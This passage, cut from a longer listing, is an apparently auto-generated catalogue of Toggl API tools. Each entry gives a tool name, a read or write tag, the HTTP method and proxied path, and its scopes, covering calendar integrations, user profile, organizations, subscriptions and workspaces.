/api/v1/toggl/integrations/calendar/{integration_id}/calendars. Scopes: api. toggl_get_integrations_calendar_by_integration_id_calendars_by_calendar_id_events_by_event_id_attendees (read) — Toggl get integrations calendar by integration id calendars by calendar id events by event id attendees via GET /integrations/calendar/{integration_id}/calendars/{calendar_id}/events/{event_id}/attendees GET /api/v1/toggl/integrations/calendar/{integration_id}/calendars/{calendar_id}/events/{event_id}/attendees. Scopes: api. toggl_get_integrations_calendar_by_integration_id_calendars_by_id_calendar_events (read) — Toggl get integrations calendar by integration id calendars by id calendar events via GET /integrations/calendar/{integration_id}/calendars/{id_calendar}/events GET /api/v1/toggl/integrations/calendar/{integration_id}/calendars/{id_calendar}/events. Scopes: api. toggl_get_integrations_calendar_calendars (read) — Toggl get integrations calendar calendars via GET /integrations/calendar/calendars GET /api/v1/toggl/integrations/calendar/calendars. Scopes: api. toggl_get_integrations_calendar_calendars_selected (read) — Toggl get integrations calendar calendars selected via GET /integrations/calendar/calendars/selected GET /api/v1/toggl/integrations/calendar/calendars/selected. Scopes: api. toggl_get_integrations_calendar_events (read) — Toggl get integrations calendar events via GET /integrations/calendar/events GET /api/v1/toggl/integrations/calendar/events. Scopes: api. toggl_get_integrations_calendar_events_by_event_id_details_suggestion (read) — Toggl get integrations calendar events by event id details suggestion via GET /integrations/calendar/events/{event_id}/details-suggestion GET /api/v1/toggl/integrations/calendar/events/{event_id}/details-suggestion. Scopes: api. toggl_get_integrations_calendar_setup (read) — Toggl get integrations calendar setup via GET /integrations/calendar/setup GET /api/v1/toggl/integrations/calendar/setup. Scopes: api. toggl_get_invitations_by_invitation_code (read) — Get invitations via GET /invitations/{invitation_code} GET /api/v1/toggl/invitations/{invitation_code}. Scopes: api. toggl_get_keys (read) — Get keys via GET /keys GET /api/v1/toggl/keys. Scopes: api. toggl_get_limits_by_workspace_id (read) — Get workspace limits via GET /limits/{workspace_id} GET /api/v1/toggl/limits/{workspace_id}. Scopes: api. toggl_get_me (read) — Get me via GET /me GET /api/v1/toggl/me. Scopes: api. toggl_get_me_clients (read) — Get clients via GET /me/clients GET /api/v1/toggl/me/clients. Scopes: api. toggl_get_me_export (read) — Get me export via GET /me/export GET /api/v1/toggl/me/export. Scopes: api. toggl_get_me_favorites (read) — Get favorites via GET /me/favorites GET /api/v1/toggl/me/favorites. Scopes: api. toggl_get_me_features (read) — Get me features via GET /me/features GET /api/v1/toggl/me/features. Scopes: api. toggl_get_me_flags (read) — Get me flags via GET /me/flags GET /api/v1/toggl/me/flags. Scopes: api. toggl_get_me_id (read) — Get me id via GET /me/id GET /api/v1/toggl/me/id. Scopes: api. toggl_get_me_location (read) — Get me location via GET /me/location GET /api/v1/toggl/me/location. Scopes: api. toggl_get_me_logged (read) — Toggl get me logged via GET /me/logged GET /api/v1/toggl/me/logged. Scopes: api. toggl_get_me_organizations (read) — Get organizations via GET /me/organizations GET /api/v1/toggl/me/organizations. Scopes: api. toggl_get_me_preferences (read) — Get preferences via GET /me/preferences GET /api/v1/toggl/me/preferences. Scopes: api. toggl_get_me_preferences_by_client (read) — Get preferences client via GET /me/preferences/{client} GET /api/v1/toggl/me/preferences/{client}. Scopes: api. toggl_get_me_projects (read) — Get me projects via GET /me/projects GET /api/v1/toggl/me/projects. Scopes: api. toggl_get_me_projects_paginated (read) — Get me projects paginated via GET /me/projects/paginated GET /api/v1/toggl/me/projects/paginated. Scopes: api. toggl_get_me_push_services (read) — Get push services via GET /me/push_services GET /api/v1/toggl/me/push_services. Scopes: api. toggl_get_me_quota (read) — Get quota via GET /me/quota GET /api/v1/toggl/me/quota. Scopes: api. toggl_get_me_tags (read) — Get tags via GET /me/tags GET /api/v1/toggl/me/tags. Scopes: api. toggl_get_me_tasks (read) — Get tasks via GET /me/tasks GET /api/v1/toggl/me/tasks. Scopes: api. toggl_get_me_time_entries (read) — Get time entries via GET /me/time_entries GET /api/v1/toggl/me/time_entries. Scopes: api. toggl_get_me_time_entries_by_time_entry_id (read) — Get time entry by id via GET /me/time_entries/{time_entry_id} GET /api/v1/toggl/me/time_entries/{time_entry_id}. Scopes: api. toggl_get_me_time_entries_checklist (read) — Get time entries checklist via GET /me/time_entries/checklist GET /api/v1/toggl/me/time_entries/checklist. Scopes: api. toggl_get_me_time_entries_current (read) — Get current time entry via GET /me/time_entries/current GET /api/v1/toggl/me/time_entries/current. Scopes: api. toggl_get_me_timesheets (read) — Get me timesheets via GET /me/timesheets GET /api/v1/toggl/me/timesheets. Scopes: api. toggl_get_me_track_reminders (read) — Get me track reminders via GET /me/track_reminders GET /api/v1/toggl/me/track_reminders. Scopes: api. toggl_get_me_web_timer (read) — Get web timer via GET /me/web-timer GET /api/v1/toggl/me/web-timer. Scopes: api. toggl_get_me_workspaces (read) — Get workspaces via GET /me/workspaces GET /api/v1/toggl/me/workspaces. Scopes: api. toggl_get_organizations_by_organization_id (read) — Get organization via GET /organizations/{organization_id} GET /api/v1/toggl/organizations/{organization_id}. Scopes: api. toggl_get_organizations_by_organization_id_groups (read) — Get organization groups via GET /organizations/{organization_id}/groups GET /api/v1/toggl/organizations/{organization_id}/groups. Scopes: api. toggl_get_organizations_by_organization_id_owner (read) — Get organization owner via GET /organizations/{organization_id}/owner GET /api/v1/toggl/organizations/{organization_id}/owner. Scopes: api. toggl_get_organizations_by_organization_id_owner_transfer (read) — Get ownership transfers via GET /organizations/{organization_id}/owner/transfer GET /api/v1/toggl/organizations/{organization_id}/owner/transfer. Scopes: api. toggl_get_organizations_by_organization_id_owner_transfer_by_transfer_id (read) — Get ownership transfer via GET /organizations/{organization_id}/owner/transfer/{transfer_id} GET /api/v1/toggl/organizations/{organization_id}/owner/transfer/{transfer_id}. Scopes: api. toggl_get_organizations_by_organization_id_payment_records (read) — Get organizations payments records via GET /organizations/{organization_id}/payment_records GET /api/v1/toggl/organizations/{organization_id}/payment_records. Scopes: api. toggl_get_organizations_by_organization_id_plans (read) — Get organizations plans via GET /organizations/{organization_id}/plans GET /api/v1/toggl/organizations/{organization_id}/plans. Scopes: api. toggl_get_organizations_by_organization_id_plans_by_plan_id (read) — Get organizations plan via GET /organizations/{organization_id}/plans/{plan_id} GET /api/v1/toggl/organizations/{organization_id}/plans/{plan_id}. Scopes: api. toggl_get_organizations_by_organization_id_roles (read) — Get organization roles via GET /organizations/{organization_id}/roles GET /api/v1/toggl/organizations/{organization_id}/roles. Scopes: api. toggl_get_organizations_by_organization_id_segmentation (read) — Get organization segmentation via GET /organizations/{organization_id}/segmentation GET /api/v1/toggl/organizations/{organization_id}/segmentation. Scopes: api. toggl_get_organizations_by_organization_id_subscription (read) — Get organization subscription via GET /organizations/{organization_id}/subscription GET /api/v1/toggl/organizations/{organization_id}/subscription. Scopes: api. toggl_get_organizations_by_organization_id_subscription_customer (read) — Get unified customer via GET /organizations/{organization_id}/subscription/customer GET /api/v1/toggl/organizations/{organization_id}/subscription/customer. Scopes: api. toggl_get_organizations_by_organization_id_subscription_invoice_summary (read) — Get organization invoice summary via GET /organizations/{organization_id}/subscription/invoice_summary GET /api/v1/toggl/organizations/{organization_id}/subscription/invoice_summary. Scopes: api. toggl_get_organizations_by_organization_id_subscription_payment_failed (read) — Get organization subscription payment failed via GET /organizations/{organization_id}/subscription/payment_failed GET /api/v1/toggl/organizations/{organization_id}/subscription/payment_failed. Scopes: api. toggl_get_organizations_by_organization_id_subscription_trial_opt_in (read) — Get organization subscription trial opt in eligibility via GET /organizations/{organization_id}/subscription/trial/opt-in GET /api/v1/toggl/organizations/{organization_id}/subscription/trial/opt-in. Scopes: api. toggl_get_organizations_by_organization_id_users (read) — Get organization users via GET /organizations/{organization_id}/users GET /api/v1/toggl/organizations/{organization_id}/users. Scopes: api. toggl_get_organizations_by_organization_id_users_detailed (read) — Get organization users detailed via GET /organizations/{organization_id}/users/detailed GET /api/v1/toggl/organizations/{organization_id}/users/detailed. Scopes: api. toggl_get_organizations_by_organization_id_workspaces_by_workspace_id_groups (read) — Get organization workspaces groups via GET /organizations/{organization_id}/workspaces/{workspace_id}/groups GET /api/v1/toggl/organizations/{organization_id}/workspaces/{workspace_id}/groups. Scopes: api. toggl_get_organizations_by_organization_id_workspaces_by_workspace_id_workspace_users (read) — Get organization workspaces workspaceusers via GET /organizations/{organization_id}/workspaces/{workspace_id}/workspace_users GET /api/v1/toggl/organizations/{organization_id}/workspaces/{workspace_id}/workspace_users. Scopes: api. toggl_get_organizations_by_organization_id_workspaces_statistics (read) — Get organization workspaces statistics via GET /organizations/{organization_id}/workspaces/statistics GET /api/v1/toggl/organizations/{organization_id}/workspaces/statistics. Scopes: api. toggl_get_status (read) — Get status via GET /status GET /api/v1/toggl/status. Scopes: api. toggl_get_subscriptions_by_workspace_id (read) — Get subscriptions via GET /subscriptions/{workspace_id} GET /api/v1/toggl/subscriptions/{workspace_id}. Scopes: api. toggl_get_subscriptions_plans (read) — Get all plans via GET /subscriptions/plans GET /api/v1/toggl/subscriptions/plans. Scopes: api. toggl_get_sync_server_me_goals (read) — Toggl get sync server me goals via GET /sync-server/me/goals GET /api/v1/toggl/sync-server/me/goals. Scopes: api. toggl_get_timeline (read) — Toggl get timeline via GET /timeline GET /api/v1/toggl/timeline. Scopes: api. toggl_get_timezones (read) — Get timezones via GET /timezones GET /api/v1/toggl/timezones. Scopes: api. toggl_get_timezones_offsets (read) — Get offsets via GET /timezones/offsets GET /api/v1/toggl/timezones/offsets. Scopes: api. toggl_get_validate_by_workspace_id_by_subscription_id_by_validation_code (read) — Get validate via GET /validate/{workspace_id}/{subscription_id}/{validation_code} GET /api/v1/toggl/validate/{workspace_id}/{subscription_id}/{validation_code}. Scopes: api. toggl_get_workspaces_by_workspace_id (read) — Get workspace via GET /workspaces/{workspace_id} GET /api/v1/toggl/workspaces/{workspace_id}. Scopes: api. toggl_get_workspaces_by_workspace_id_alerts (read) — Get alerts via GET /workspaces/{workspace_id}/alerts GET /api/v1/toggl/workspaces/{workspace_id}/alerts. Scopes: api. toggl_get_workspaces_by_workspace_id_clients (read) — Get workspace clients via GET /workspaces/{workspace_id}/clients GET /api/v1/toggl/workspaces/{workspace_id}/clients. Scopes: api. toggl_get_workspaces_by_workspace_id_clients_by_client_id (read) — Get workspace client via GET /workspaces/{workspace_id}/clients/{client_id} GET /api/v1/toggl/workspaces/{workspace_id}/clients/{client_id}. Scopes: api. toggl_get_workspaces_by_workspace_id_currencies (read) — Get workspace currencies via GET /workspaces/{workspace_id}/currencies GET /api/v1/toggl/workspaces/{workspace_id}/currencies. Scopes: api. toggl_get_workspaces_by_workspace_id_dashboard_all_activity (read) — Get workspace all activities via GET /workspaces/{workspace_id}/dashboard/all_activity GET /api/v1/toggl/workspaces/{workspace_id}/dashboard/all_activity. Scopes: api. toggl_get_workspaces_by_workspace_id_dashboard_most_active (read) — Get workspace most active via GET /workspaces/{workspace_id}/dashboard/most_active GET /api/v1/toggl/workspaces/{workspace_id}/dashboard/most_active. Scopes: api. toggl_get_workspaces_by_workspace_id_dashboard_top_activity (read) — Get workspace top activity via GET /workspaces/{workspace_id}/dashboard/top_activity GET /api/v1/toggl/workspaces/{workspace_id}/dashboard/top_activity. Scopes: api. toggl_get_workspaces_by_workspace_id_expenses (read) — Get expense via GET /workspaces/{workspace_id}/expenses GET /api/v1/toggl/workspaces/{workspace_id}/expenses. Scopes: api. toggl_get_workspaces_by_workspace_id_exports (read) — Get workspace exports via GET /workspaces/{workspace_id}/exports GET /api/v1/toggl/workspaces/{workspace_id}/exports. Scopes: api. toggl_get_workspaces_by_workspace_id_favorites (read) — Get workspace favorites via GET /workspaces/{workspace_id}/favorites GET /api/v1/toggl/workspaces/{workspace_id}/favorites. Scopes: api. toggl_get_workspaces_by_workspace_id_goals (read) — Toggl get workspaces by workspace id goals via GET /workspaces/{workspace_id}/goals GET /api/v1/toggl/workspaces/{workspace_id}/goals. Scopes: api. toggl_get_workspaces_by_workspace_id_goals_by_goal_id (read) — Toggl get workspaces by workspace id goals by goal id via GET /workspaces/{workspace_id}/goals/{goal_id} GET /api/v1/toggl/workspaces/{workspace_id}/goals/{goal_id}. Scopes: api. toggl_get_workspaces_by_workspace_id_groups (read) — Get workspace groups via GET /workspaces/{workspace_id}/groups GET /api/v1/toggl/workspaces/{workspace_id}/groups. Scopes: api. toggl_get_workspaces_by_workspace_id_invoices (read) — Get workspace invoices via GET /workspaces/{workspace_id}/invoices GET /api/v1/toggl/workspaces/{workspace_id}/invoices. Scopes: api. toggl_get_workspaces_by_workspace_id_linked_sso_profiles (read) — Get workspace sso via GET /workspaces/{workspace_id}/linked_sso_profiles GET /api/v1/toggl/workspaces/{workspace_id}/linked_sso_profiles. Scopes: api. toggl_get_workspaces_by_workspace_id_logo (read) — Get workspace logo via GET /workspaces/{workspace_id}/logo GET /api/v1/toggl/workspaces/{workspace_id}/logo. Scopes: api. toggl_get_workspaces_by_workspace_id_preferences (read) — Get workspace preferences via GET /workspaces/{workspace_id}/preferences GET /api/v1/toggl/workspaces/{workspace_id}/preferences. Scopes: api. toggl_get_workspaces_by_workspace_id_project_groups (read) — Get project groups via GET /workspaces/{workspace_id}/project_groups GET /api/v1/toggl/workspaces/{workspace_id}/project_groups. Scopes: api. toggl_get_workspaces_by_workspace_id_project_users (read) — Get workspace project users via GET /workspaces/{workspace_id}/project_users GET /api/v1/toggl/workspaces/{workspace_id}/project_users. Scopes: api. toggl_get_workspaces_by_workspace_id_projects (read) — Get projects via GET /workspaces/{workspace_id}/projects GET /api/v1/toggl/workspaces/{workspace_id}/projects. Scopes: api. toggl_get_workspaces_by_workspace_id_projects_by_project_id (read) — Toggl get workspaces by workspace id projects by project id via GET /workspaces/{workspace_id}/projects/{project_id} GET /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}. Scopes: api. toggl_get_workspaces_by_workspace_id_projects_by_project_id_periods (read) — Get workspace project periods via GET /workspaces/{workspace_id}/projects/{project_id}/periods GET /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/periods. Scopes: api. toggl_get_workspaces_by_workspace_id_projects_by_project_id_statistics (read) — Toggl get workspaces by workspace id projects by project id statistics via GET /workspaces/{workspace_id}/projects/{project_id}/statistics GET /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/statistics. Scopes: api. toggl_get_workspaces_by_workspace_id_projects_by_project_id_tasks (read) — Get workspace project tasks via GET /workspaces/{workspace_id}/projects/{project_id}/tasks GET /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/tasks. Scopes: api. toggl_get_workspaces_by_workspace_id_projects_by_project_id_tasks_by_task_id (read) — Get workspace project task via GET /workspaces/{workspace_id}/projects/{project_id}/tasks/{task_id} GET /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/tasks/{task_id}. Scopes: api. toggl_get_workspaces_by_workspace_id_projects_templates (read) — Get projects templates via GET /workspaces/{workspace_id}/projects/templates GET /api/v1/toggl/workspaces/{workspace_id}/projects/templates. Scopes: api. toggl_get_workspaces_by_workspace_id_rates_by_level_by_level_id (read) — Get rates by level via GET /workspaces/{workspace_id}/rates/{level}/{level_id} GET /api/v1/toggl/workspaces/{workspace_id}/rates/{level}/{level_id}. Scopes: api. toggl_get_workspaces_by_workspace_id_reports_shared (read) — Get shared report via GET /workspaces/{workspace_id}/reports/shared GET /api/v1/toggl/workspaces/{workspace_id}/reports/shared. Scopes: api. toggl_get_workspaces_by_workspace_id_reports_shared_by_report_id (read) — Get saved report resource via GET /workspaces/{workspace_id}/reports/shared/{report_id} GET /api/v1/toggl/workspaces/{workspace_id}/reports/shared/{report_id}. Scopes: api. toggl_get_workspaces_by_workspace_id_scheduled_reports (read) — Get workspace scheduled reports via GET /workspaces/{workspace_id}/scheduled_reports GET /api/v1/toggl/workspaces/{workspace_id}/scheduled_reports. Scopes: api. toggl_get_workspaces_by_workspace_id_statistics (read) — Get workspace statistics via GET /workspaces/{workspace_id}/statistics GET /api/v1/toggl/workspaces/{workspace_id}/statistics. Scopes: api. toggl_get_workspaces_by_workspace_id_subscription (read) — Get workspace subscription via GET /workspaces/{workspace_id}/subscription GET /api/v1/toggl/workspaces/{workspace_id}/subscription. Scopes: api. toggl_get_workspaces_by_workspace_id_tags (read) — Get workspace tag via GET /workspaces/{workspace_id}/tags GET /api/v1/toggl/workspaces/{workspace_id}/tags. Scopes: api. toggl_get_workspaces_by_workspace_id_tasks (read) — Get workspace tasks via GET /workspaces/{workspace_id}/tasks GET /api/v1/toggl/workspaces/{workspace_id}/tasks. Scopes: api. toggl_get_workspaces_by_workspace_id_tasks_basic (read) — Get workspace tasks basic via GET /workspaces/{workspace_id}/tasks/basic GET /api/v1/toggl/workspaces/{workspace_id}/tasks/basic. Scopes: api. toggl_get_workspaces_by_workspace_id_time_entry_constraints (read) — Get workspace time entry constraints via GET /workspaces/{workspace_id}/time_entry_constraints GET /api/v1/toggl/workspaces/{workspace_id}/time_entry_constraints. Scopes: api. toggl_get_workspaces_by_workspace_id_time_entry_invitations (read) — Get workspace time entry invitations via GET /workspaces/{workspace_id}/time_entry_invitations GET /api/v1/toggl/workspaces/{workspace_id}/time_entry_invitations. Scopes: api. toggl_get_workspaces_by_workspace_id_timesheet_setups (read) — Get timesheet setups via GET /workspaces/{workspace_id}/timesheet_setups GET /api/v1/toggl/workspaces/{workspace_id}/timesheet_setups. Scopes: api. toggl_get_workspaces_by_workspace_id_timesheets (read) — Get workspace timesheets handler via GET /workspaces/{workspace_id}/timesheets GET /api/v1/toggl/workspaces/{workspace_id}/timesheets. Scopes: api. toggl_get_workspaces_by_workspace_id_timesheets_by_setup_id_by_start_date_history (read) — Get workspace timesheet history handler via GET /workspaces/{workspace_id}/timesheets/{setup_id}/{start_date}/history GET /api/v1/toggl/workspaces/{workspace_id}/timesheets/{setup_id}/{start_date}/history. Scopes: api. toggl_get_workspaces_by_workspace_id_timesheets_by_setup_id_by_start_date_time_entries (read) — Get workspace timesheet time entries handler via GET /workspaces/{workspace_id}/timesheets/{setup_id}/{start_date}/time_entries GET /api/v1/toggl/workspaces/{workspace_id}/timesheets/{setup_id}/{start_date}/time_entries. Scopes: api. toggl_get_workspaces_by_workspace_id_track_reminders (read) — Get workspace track reminders via GET /workspaces/{workspace_id}/track_reminders GET /api/v1/toggl/workspaces/{workspace_id}/track_reminders. Scopes: api. toggl_get_workspaces_by_workspace_id_users (read) — Get workspace users via GET /workspaces/{workspace_id}/users GET /api/v1/toggl/workspaces/{workspace_id}/users. Scopes: api. toggl_get_workspaces_by_workspace_id_workspace_users (read) — Get workspace workspace users via GET /workspaces/{workspace_id}/workspace_users GET /api/v1/toggl/workspaces/{workspace_id}/workspace_users. Scopes: api. toggl_get_workspaces_plans (read) — Get public subscription plans via GET /workspaces/plans GET /api/v1/toggl/workspaces/plans. Scopes: api. toggl_patch_integrations_calendar_by_integration_id_calendars_by_calendar_id (write) — Toggl patch integrations calendar by integration id calendars by calendar id via PATCH /integrations/calendar/{integration_id}/calendars/{calendar_id} PATCH /api/v1/toggl/integrations/calendar/{integration_id}/calendars/{calendar_id}. Scopes: api. toggl_patch_organizations_by_organization_id_groups_by_group_id (write) — Patch organization group via PATCH /organizations/{organization_id}/groups/{group_id} PATCH /api/v1/toggl/organizations/{organization_id}/groups/{group_id}. Scopes: api. toggl_patch_organizations_by_organization_id_users (write) — Patch organization users via PATCH /organizations/{organization_id}/users PATCH /api/v1/toggl/organizations/{organization_id}/users. Scopes: api. toggl_patch_organizations_by_organization_id_workspaces_by_workspace_id_workspace_users (write) — Patch organization workspace users via PATCH /organizations/{organization_id}/workspaces/{workspace_id}/workspace_users PATCH /api/v1/toggl/organizations/{organization_id}/workspaces/{workspace_id}/workspace_users. Scopes: api. toggl_patch_subscriptions_by_workspace_id_by_subscription_id (write) — Patch subscription via PATCH /subscriptions/{workspace_id}/{subscription_id} PATCH /api/v1/toggl/subscriptions/{workspace_id}/{subscription_id}. Scopes: api. toggl_patch_workspaces_by_workspace_id_project_users_by_project_user_ids (write) — Patch workspace project users ids via PATCH /workspaces/{workspace_id}/project_users/{project_user_ids} PATCH /api/v1/toggl/workspaces/{workspace_id}/project_users/{project_user_ids}. Scopes: api. toggl_patch_workspaces_by_workspace_id_projects_by_project_id_tasks_by_task_ids (write) — Patch workspace project tasks via PATCH /workspaces/{workspace_id}/projects/{project_id}/tasks/{task_ids} PATCH /api/v1/toggl/workspaces/{workspace_id}/projects/{project_id}/tasks/{task_ids}. Scopes: api. toggl_patch_workspaces_by_workspace_id_projects_by_project_ids (write) — Patch workspace projects via PATCH /workspaces/{workspace_id}/projects/{project_ids} PATCH /api/v1/toggl/workspaces/{workspace_id}/projects/{project_ids}. Scopes: api. toggl_patch_workspaces_by_workspace_id_reports_shared_bulk_delete (write) — Bulk delete saved report resource via PATCH /workspaces/{workspace_id}/reports/shared/bulk_delete PATCH /api/v1/toggl/workspaces/{workspace_id}/reports/shared/bulk_delete. Scopes: api. toggl_patch_workspaces_by_workspace_id_tags (write) — Patch workspace tags via PATCH /workspaces/{workspace_id}/tags PATCH /api/v1/toggl/workspaces/{workspace_id}/tags. Scopes: api. toggl_patch_workspaces_by_workspace_id_time_entries_by_time_entry_id_stop (write) — Patch workspace stop time entry handler via PATCH /workspaces/{workspace_id}/time_entries/{time_entry_id}/stop PATCH /api/v1/toggl/workspaces/{workspace_id}/time_entries/{time_entry_id}/stop. Scopes: api. toggl_patch_workspaces_by_workspace_id_time_entries_by_time_entry_ids (write) — Patch time entries via PATCH /workspaces/{workspace_id}/time_entries/{time_entry_ids} PATCH /api/v1/toggl/workspaces/{workspace_id}/time_entries/{time_entry_ids}. Scopes: api. toggl_post_auth_saml2_login_by_workspace_id (write) — Post saml2 callback via POST /auth/saml2/login/{workspace_id} POST /api/v1/toggl/auth/saml2/login/{workspace_id}. Scopes: api. toggl_post_avatars (write) — Post avatars via POST /avatars POST /api/v1/toggl/avatars. Scopes: api. toggl_post_avatars_use_gravatar (write) — Post use gravatar via POST /avatars/use_gravatar POST /api/v1/toggl/avatars/use_gravatar. Scopes: api. toggl_post_desktop_login_tokens (write) — Toggl post desktop login tokens via POST /desktop_login_tokens POST /api/v1/toggl/desktop_login_tokens. Scopes: api. toggl_post_insights_api_v1_workspace_by_workspace_id_data_trends_projects (write) — Toggl post insights api v1 workspace by workspace id data trends projects via POST /insights/api/v1/workspace/{workspace_id}/data_trends/projects POST /api/v1/toggl/insights/api/v1/workspace/{workspace_id}/data_trends/projects. Scopes: api. toggl_post_insights_api_v1_workspace_by_workspace_id_profitability_employees_by_extension (write) — Toggl post insights api v1 workspace by workspace id profitability employees by extension via POST /insights/api/v1/workspace/{workspace_id}/profitability/employees.{extension} POST /api/v1/toggl/insights/api/v1/workspace/{workspace_id}/profitability/employees.{extension}. Scopes: api. toggl_post_insights_api_v1_workspace_by_workspace_id_profitability_projects_by_extension (write) — Toggl post insights api v1 workspace by workspace id profitability projects by extension via POST /insights/api/v1/workspace/{workspace_id}/profitability/projects.{extension} POST /api/v1/toggl/insights/api/v1/workspace/{workspace_id}/profitability/projects.{extension}. Scopes: api. toggl_post_insights_api_v1_workspace_by_workspace_id_trends_projects_by_extension (write) — Toggl post insights api v1 workspace by workspace id trends projects by extension via POST /insights/api/v1/workspace/{workspace_id}/trends/projects.{extension} POST /api/v1/toggl/insights/api/v1/workspace/{workspace_id}/trends/projects.{extension}. Scopes: api. toggl_post_integrations_calendar_by_integration_id_calendars_update (write) — Toggl post integrations calendar by integration id calendars update via POST /integrations/calendar/{integration_id}/calendars/update POST /api/v1/toggl/integrations/calendar/{integration_id}/calendars/update. Scopes: api. toggl_post_integrations_calendar_events_details_suggestion (write) — Toggl post integrations calendar events details suggestion via POST /integrations/calendar/events/details-suggestion POST /api/v1/toggl/integrations/calendar/events/details-suggestion. Scopes: api. toggl_post_integrations_calendar_events_update (write) — Toggl post integrations calendar events update via POST /integrations/calendar/events/update POST /api/v1/toggl/integrations/calendar/events/update. Scopes: api. toggl_post_me_accept_tos (write) — Post me accept tos via POST /me/accept_tos POST /api/v1/toggl/me/accept_tos. Scopes: api. toggl_post_me_close_account (write) — Post close account via POST /me/close_account POST /api/v1/toggl/me/close_account. Scopes: api. toggl_post_me_disable_product_emails_by_disable_code (write) — Post me disable product emails via POST /me/disable_product_emails/{disable_code} POST /api/v1/toggl/me/disable_product_emails/{disable_code}. Scopes: api. toggl_post_me_disable_weekly_report_by_weekly_report_code (write) — Post me disable weekly report via POST /me/disable_weekly_report/{weekly_report_code} POST /api/v1/toggl/me/disable_weekly_report/{weekly_report_code}. Scopes: api. toggl_post_me_enable_sso (write) — Post enable sso via POST /me/enable_sso POST /api/v1/toggl/me/enable_sso. Scopes: api. toggl_post_me_export (write) — Post me export via POST /me/export POST /api/v1/toggl/me/export. Scopes: api. toggl_post_me_favorites (write) — Create favorite via POST /me/favorites POST /api/v1/toggl/me/favorites. Scopes: api. toggl_post_me_favorites_suggestions (write) — Post favorites suggestions via POST /me/favorites/suggestions POST /api/v1/toggl/me/favorites/suggestions. Scopes: api. toggl_post_me_flags (write) — Post me flags via POST /me/flags POST /api/v1/toggl/me/flags. Scopes: api. toggl_post_me_preferences (write) — Post preferences via POST /me/preferences POST /api/v1/toggl/me/preferences. Scopes: api. toggl_post_me_preferences_by_client (write) — Post preferences client via POST /me/preferences/{client} POST /api/v1/toggl/me/preferences/{client}. Scopes: api. toggl_post_me_push_services (write) — Post push services via POST /me/push_services POST /api/v1/toggl/me/push_services. Scopes: api. toggl_post_me_reset_token (write) — Post reset token via POST /me/reset_token POST /api/v1/toggl/me/reset_token. Scopes: api. toggl_post_me_time_entries_shared_with (write) — Post me time entries shared with via POST /me/time_entries_shared_with POST /api/v1/toggl/me/time_entries_shared_with. Scopes: api. toggl_post_organizations (write) — Post organization via POST /organizations POST /api/v1/toggl/organizations. Scopes: api. toggl_post_organizations_by_organization_id_groups (write) — Post organization group via POST /organizations/{organization_id}/groups POST /api/v1/toggl/organizations/{organization_id}/groups. Scopes: api. toggl_post_organizations_by_organization_id_integrations_slack_request (write) — Post organization slack integration request via POST /organizations/{organization_id}/integrations/slack/request POST /api/v1/toggl/organizations/{organization_id}/integrations/slack/request. Scopes: api. toggl_post_organizations_by_organization_id_invitations (write) — Post organization invitation via POST /organizations/{organization_id}/invitations POST /api/v1/toggl/organizations/{organization_id}/invitations. Scopes: api. toggl_post_organizations_by_organization_id_owner_transfer (write) — Post ownership transfer via POST /organizations/{organization_id}/owner/transfer POST /api/v1/toggl/organizations/{organization_id}/owner/transfer. Scopes: api. toggl_post_organizations_by_organization_id_owner_transfer_by_transfer_id_by_action (write) — Post ownership transfer actions via POST /organizations/{organization_id}/owner/transfer/{transfer_id}/{action} POST /api/v1/toggl/organizations/{organization_id}/owner/transfer/{transfer_id}/{action}. Scopes: api. toggl_post_organizations_by_organization_id_premium_upgrade_discount_email (write) — Post organization premium upgrade discount email via POST /organizations/{organization_id}/premium-upgrade-discount-email POST /api/v1/toggl/organizations/{organization_id}/premium-upgrade-discount-email. Scopes: api. toggl_post_organizations_by_organization_id_subscription (write) — Post organization subscription via POST /organizations/{organization_id}/subscription POST /api/v1/toggl/organizations/{organization_id}/subscription. Scopes: api. toggl_post_organizations_by_organization_id_subscription_cancellation_feedback (write) — Post organization subscription cancellation feedback via POST /organizations/{organization_id}/subscription/cancellation_feedback POST /api/v1/toggl/organizations/{organization_id}/subscription/cancellation_feedback. Scopes: api. toggl_post_organizations_by_organization_id_subscription_customer (write) — Post unified customer via POST /organizations/{organization_id}/subscription/customer POST /api/v1/toggl/organizations/{organization_id}/subscription/customer. Scopes: api. toggl_post_organizations_by_organization_id_subscription_discount_request (write) — Post organization subscription discount request via POST /organizations/{organization_id}/subscription/discount_request POST /api/v1/toggl/organizations/{organization_id}/subscription/discount_request. Scopes: api. toggl_post_organizations_by_organization_id_subscription_feature_upsell_multi (write) — Get feature upsell multi via POST /organizations/{organization_id}/subscription/feature_upsell_multi POST /api/v1/toggl/organizations/{organization_id}/subscription/feature_upsell_multi. Scopes: api. toggl_post_organizations_by_organization_id_subscription_promocode (write) — Post promotion code via POST /organizations/{organization_id}/subscription/promocode POST /api/v1/toggl/organizations/{organization_id}/subscription/promocode. Scopes: api. toggl_post_organizations_by_organization_id_subscription_setup_intent (write) — Create setup intent via POST /organizations/{organization_id}/subscription/setup_intent POST /api/v1/toggl/organizations/{organization_id}/subscription/setup_intent. Scopes: api. toggl_post_organizations_by_organization_id_subscription_trial (write) — Post organization subscription create trial via POST /organizations/{organization_id}/subscription/trial POST /api/v1/toggl/organizations/{organization_id}/subscription/trial. Scopes: api. toggl_post_organizations_by_organization_id_subscription_trial_opt_in (write) — Post organization subscription trial opt in via POST /organizations/{organization_id}/subscription/trial/opt-in POST /api/v1/toggl/organizations/{organization_id}/subscription/trial/opt-in. Scopes: api. toggl_post_organizations_by_organization_id_subscription_upgrade_request_by_feature_id (write) — Post organization subscription upgrade request via POST /organizations/{organization_id}/subscription/upgrade_request/{feature_id} POST /api/v1/toggl/organizations/{organization_id}/subscription/upgrade_request/{feature_id}. Scopes: api. toggl_post_organizations_by_organization_id_subscription_usage_based_discount (write) — Post organization subscription usage based discount via POST /organizations/{organization_id}/subscription/usage_based_discount POST /api/v1/toggl/organizations/{organization_id}/subscription/usage_based_discount. Scopes: api. toggl_post_organizations_by_organization_id_subscriptions_item_discount (write) — Post subscription item discount via POST /organizations/{organization_id}/subscriptions/item/discount POST /api/v1/toggl/organizations/{organization_id}/subscriptions/item/discount. Scopes: api. toggl_post_organizations_by_organization_id_workspaces (write) — Post organization workspaces via POST /organizations/{organization_id}/workspaces POST /api/v1/toggl/organizations/{organization_id}/workspaces. Scopes: api. toggl_post_organizations_invitations_by_invitation_code_accept (write) — Post organization accept invitation via POST 